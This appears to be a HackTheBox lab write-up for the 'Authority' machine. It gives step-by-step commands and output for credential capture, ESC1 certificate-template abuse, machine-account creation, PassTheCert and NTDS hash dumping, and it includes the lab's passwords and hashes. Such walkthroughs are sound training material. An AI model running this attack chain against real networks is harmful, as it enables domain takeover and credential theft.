htb-authority
Recon
nmap
nmap finds a bunch of open TCP ports:
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-11-24 00:13:17Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
|_ssl-date: 2023-11-24T00:14:24+00:00; +4h00m08s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: othername:<unsupported>, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB
| Not valid before: 2022-08-09T23:03:21
|_Not valid after: 2024-08-09T23:13:21
445/tcp open microsoft-ds?
SMB – TCP 445
netexec (formerly crackmapexec) shows the domain name of authority.htb and a hostname of authority:
–snip–
Authority is acting as the client trying to authenticate to my VM, and sends these creds in the clear. Responder will also listen for and capture these creds:
[+] Listening for events...
[LDAP] Cleartext Client : 10.10.11.222
[LDAP] Cleartext Username : CN=svc_ldap,OU=Service Accounts,OU=CORP,DC=authority,DC=htb
[LDAP] Cleartext Password : lDaP_1n_th3_cle4r!
WinRM
Those creds work with the svc_ldap account over both SMB and WinRM:
$ nxc winrm authority.htb -u svc_ldap -p 'lDaP_1n_th3_cle4r!' WINRM 10.10.11.222 5985 AUTHORITY [*] Windows 10 / Server 2019 Build 17763 (name:AUTHORITY) (domain:authority.htb) WINRM 10.10.11.222 5985 AUTHORITY [+] authority.htb\svc_ldap:lDaP_1n_th3_cle4r! (Pwn3d!)
I’ll go directly to WinRM and get a shell:
$ evil-winrm -i authority.htb -u svc_ldap -p 'lDaP_1n_th3_cle4r!'
Shell as administrator
Enumeration
Filesystem
The filesystem is quite bare. There no other user directory on the box other than Public (which is empty) and Administrator (which is where I want to get):
*Evil-WinRM* PS C:\users> ls
The IIS folders are empty, and I don’t see much of interest in the PWM configs.
ADCS
It’s always worth enumerating ADCS on a Windows DC. I’ve shown certipy (pipx install certipy-ad, GitHub) before on Absolute and Escape. I’ll use the find command to identify templates, and with -vulnerable only show vulnerable ones:
┌──(puck㉿kali)-[~/htb/authority]
└─$ certipy-ad find -u svc_ldap -p 'lDaP_1n_th3_cle4r!' -target authority.htb -text -stdout -vulnerable
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 37 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 13 enabled certificate templates
[!] Failed to resolve: authority.authority.htb
[*] Trying to get CA configuration for 'AUTHORITY-CA' via CSRA
[!] Got error while trying to get CA configuration for 'AUTHORITY-CA' via CSRA: [Errno -2] Name or service not known
[*] Trying to get CA configuration for 'AUTHORITY-CA' via RRP
[!] Got error while trying to get CA configuration for 'AUTHORITY-CA' via RRP: [Errno Connection error (authority.authority.htb:445)] [Errno -2] Name or service not known
[!] Failed to get CA configuration for 'AUTHORITY-CA'
[!] Failed to resolve: authority.authority.htb
[!] Got error while trying to check for web enrollment: [Errno -2] Name or service not known
[*] Enumeration output:
Certificate Authorities
0
CA Name : AUTHORITY-CA
DNS Name : authority.authority.htb
Certificate Subject : CN=AUTHORITY-CA, DC=authority, DC=htb
Certificate Serial Number : 2C4E1F3CA46BBDAF42A1DDE3EC33A6B4
Certificate Validity Start : 2023-04-24 01:46:26+00:00
Certificate Validity End : 2123-04-24 01:56:25+00:00
Web Enrollment : Disabled
User Specified SAN : Unknown
Request Disposition : Unknown
Enforce Encryption for Requests : Unknown
Certificate Templates
0
Template Name : CorpVPN
Display Name : Corp VPN
Certificate Authorities : AUTHORITY-CA
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : True
Certificate Name Flag : EnrolleeSuppliesSubject
Enrollment Flag : AutoEnrollmentCheckUserDsCertificate
PublishToDs
IncludeSymmetricAlgorithms
Private Key Flag : ExportableKey
Extended Key Usage : Encrypting File System
Secure Email
Client Authentication
Document Signing
IP security IKE intermediate
IP security use
KDC Authentication
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Validity Period : 20 years
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Permissions
Enrollment Permissions
Enrollment Rights : AUTHORITY.HTB\Domain Computers
AUTHORITY.HTB\Domain Admins
AUTHORITY.HTB\Enterprise Admins
Object Control Permissions
Owner : AUTHORITY.HTB\Administrator
Write Owner Principals : AUTHORITY.HTB\Domain Admins
AUTHORITY.HTB\Enterprise Admins
AUTHORITY.HTB\Administrator
Write Dacl Principals : AUTHORITY.HTB\Domain Admins
AUTHORITY.HTB\Enterprise Admins
AUTHORITY.HTB\Administrator
Write Property Principals : AUTHORITY.HTB\Domain Admins
AUTHORITY.HTB\Enterprise Admins
AUTHORITY.HTB\Administrator
[!] Vulnerabilities
ESC1 : 'AUTHORITY.HTB\\Domain Computers' can enroll, enrollee supplies subject and template allows client authentication
┌──(puck㉿kali)-[~/htb/authority]
At the bottom it identifies a template named CorpVPN that is vulnerable to ESC1. I’ll note the CA name of AUTHORITY-CA as well.
ESC1
Background
Black Hills Information Security has a nice post on ESC1. ESC1 is the vulnerability when the ADCS is configured to allow low privileged users to enroll and request a certificate on behalf of any domain object, including privileged ones.
The example given in the post shows the settings that must be for this to work, and it matches what comes out of Authority, except for one difference:
In this case, it’s Domain Computers who can enroll with this template, not Domain Users.
Create Computer Account
In Support I had an exploitation path that required a fake computer. I’ll do the same thing here, though on Support I did it from a shell on the target, while here I’ll show how to do it remotely with Impacket.
The setting that allows a user to add a computer to the domain is the ms-ds-machineaccountquota. On Authority, I can query this with PowerView:
*Evil-WinRM* PS C:\programdata> upload /opt/PowerSploit/Recon/PowerView.ps1
Info: Uploading /opt/PowerSploit/Recon/PowerView.ps1 to C:\programdata\PowerView.ps1
Data: 1027036 bytes of 1027036 bytes copied
Info: Upload successful!
*Evil-WinRM* PS C:\programdata> . .\PowerView.ps1
*Evil-WinRM* PS C:\programdata> Get-DomainObject -Identity 'DC=AUTHORITY,DC=HTB' | select ms-ds-machineaccountquota
ms-ds-machineaccountquota
-------------------------
10
netexec will also do this from my VM:
puck@kali$ netexec ldap 10.10.11.222 -u svc_ldap -p 'lDaP_1n_th3_cle4r!' -M MAQ
Now I can add the computer with addcomputer.py:
$ impacket-addcomputer 'authority.htb/svc_ldap:lDaP_1n_th3_cle4r!' -method LDAPS -computer-name puck -computer-pass puckpuck -dc-ip 10.10.11.222 Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies [*] Successfully added machine account puck$ with password puckpuck.
Create Certificate
With the computer account on the domain, now certipy will create the certificate with the following options:
req– request a certificate-username 'puck$' -password puckpuck– auth as the computer account created above-ca AUTHORITY-CA– the certificate authority associated with the ADCS-dc-ip 10.10.11.222– the IP of the DC-template CorpVPN– the name of the vulnerable template-upn administrator@authority.htb– the user requesting the certificate for-dns authority.htb– the DNS server to use in this request
The result is a certificate plus private key saved in administrator_authority.pfx:
$ certipy-ad req -username 'puck$' -password puckpuck -ca AUTHORITY-CA -dc-ip 10.10.11.222 -template CorpVPN -upn administrator@authority.htb -dns authority.htb
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 3
[*] Got certificate with multiple identifications
UPN: 'administrator@authority.htb'
DNS Host Name: 'authority.htb'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator_authority.pfx'
PassTheCert
Auth [Fail]
Typically at this point I would use the auth command to get the NTLM hash for the administrator user:
$ certipy-ad auth -pfx administrator_authority.pfx
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Found multiple identifications in certificate
[*] Please select one:
[0] UPN: 'administrator@authority.htb'
[1] DNS Host Name: 'authority.htb'
> 0
[*] Using principal: administrator@authority.htb
[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError: KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type)
This happens “when a domain controller doesn’t have a certificate installed for smart cards”, according to this post from Specterops. Specifically, it happens because “the DC isn’t properly set up for PKINIT and authentication will fail”.
The same post suggests an alternative path:
If you run into a situation where you can enroll in a vulnerable certificate template but the resulting certificate fails for Kerberos authentication, you can try authenticating to LDAP via SChannel using something like PassTheCert. You will only have LDAP access, but this should be enough if you have a certificate stating you’re a domain admin.
LDAP Shell [Path 1]
To perform a PassTheCert attack, I’ll need the key and certificate in separate files, which certipy can handle:
$ certipy-ad cert -pfx administrator_authority.pfx -nocert -out administrator.key
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Writing private key to 'administrator.key'
$ certipy-ad cert -pfx administrator_authority.pfx -nokey -out administrator.crt
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Writing certificate and to 'administrator.crt'
has C# and Python tools to do a PassTheCert attack. It also offers an ldap-shell option that allows me to run a limited set of commands on the DC. I’ll clone it, and then run passthecert.py with the following options:
-action ldap-shell– provide a limited set of commands-crt administrator.crt -key administrator.key– the certificate and key files-domain authority.htb -dc-ip 10.10.11.222– target info
It connects:
The command that works is add_user_to_group:
$ python3 PassTheCert/Python/passthecert.py -action ldap-shell -crt administrator.crt -key administrator.key -domain authority.htb -dc-ip 10.10.11.222
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
Type help for list of commands
# add_user_to_group svc_ldap administrators
Adding user: svc_ldap to group Administrators result: OK
#
I’ll reconnect with a new Evil-WinRM shell as svc_ldap, and now it has the administrators group:
root.txt:
Then I also can dump the NTLM hashes from the DC:
$ impacket-secretsdump svc_ldap@authority.htb -dc-ip 10.10.11.122
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
Password: lDaP_1n_th3_cle4r! [-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information. [*] Dumping cached domain logon information (domain/username:hash) [*] Dumping LSA Secrets [*] $MACHINE.ACC [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) [*] Using the DRSUAPI method to get NTDS.DIT secrets Administrator:500:aad3b435b51404eeaad3b435b51404ee:6961f422924da90a6928197429eea4ed::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: krbtgt:502:aad3b435b51404eeaad3b435b51404ee:bd6bd7fcab60ba569e3ed57c7c322908::: svc_ldap:1601:aad3b435b51404eeaad3b435b51404ee:6839f4ed6c7e142fed7988a6c5d0c5f1::: AUTHORITY$:1000:aad3b435b51404eeaad3b435b51404ee:08e55265137ce6443262f40a8c5ee5d3:::
.
That hash works over Evil-WinRM:
$ evil-winrm -i authority.htb -u administrator -H 6961f422924da90a6928197429eea4ed
.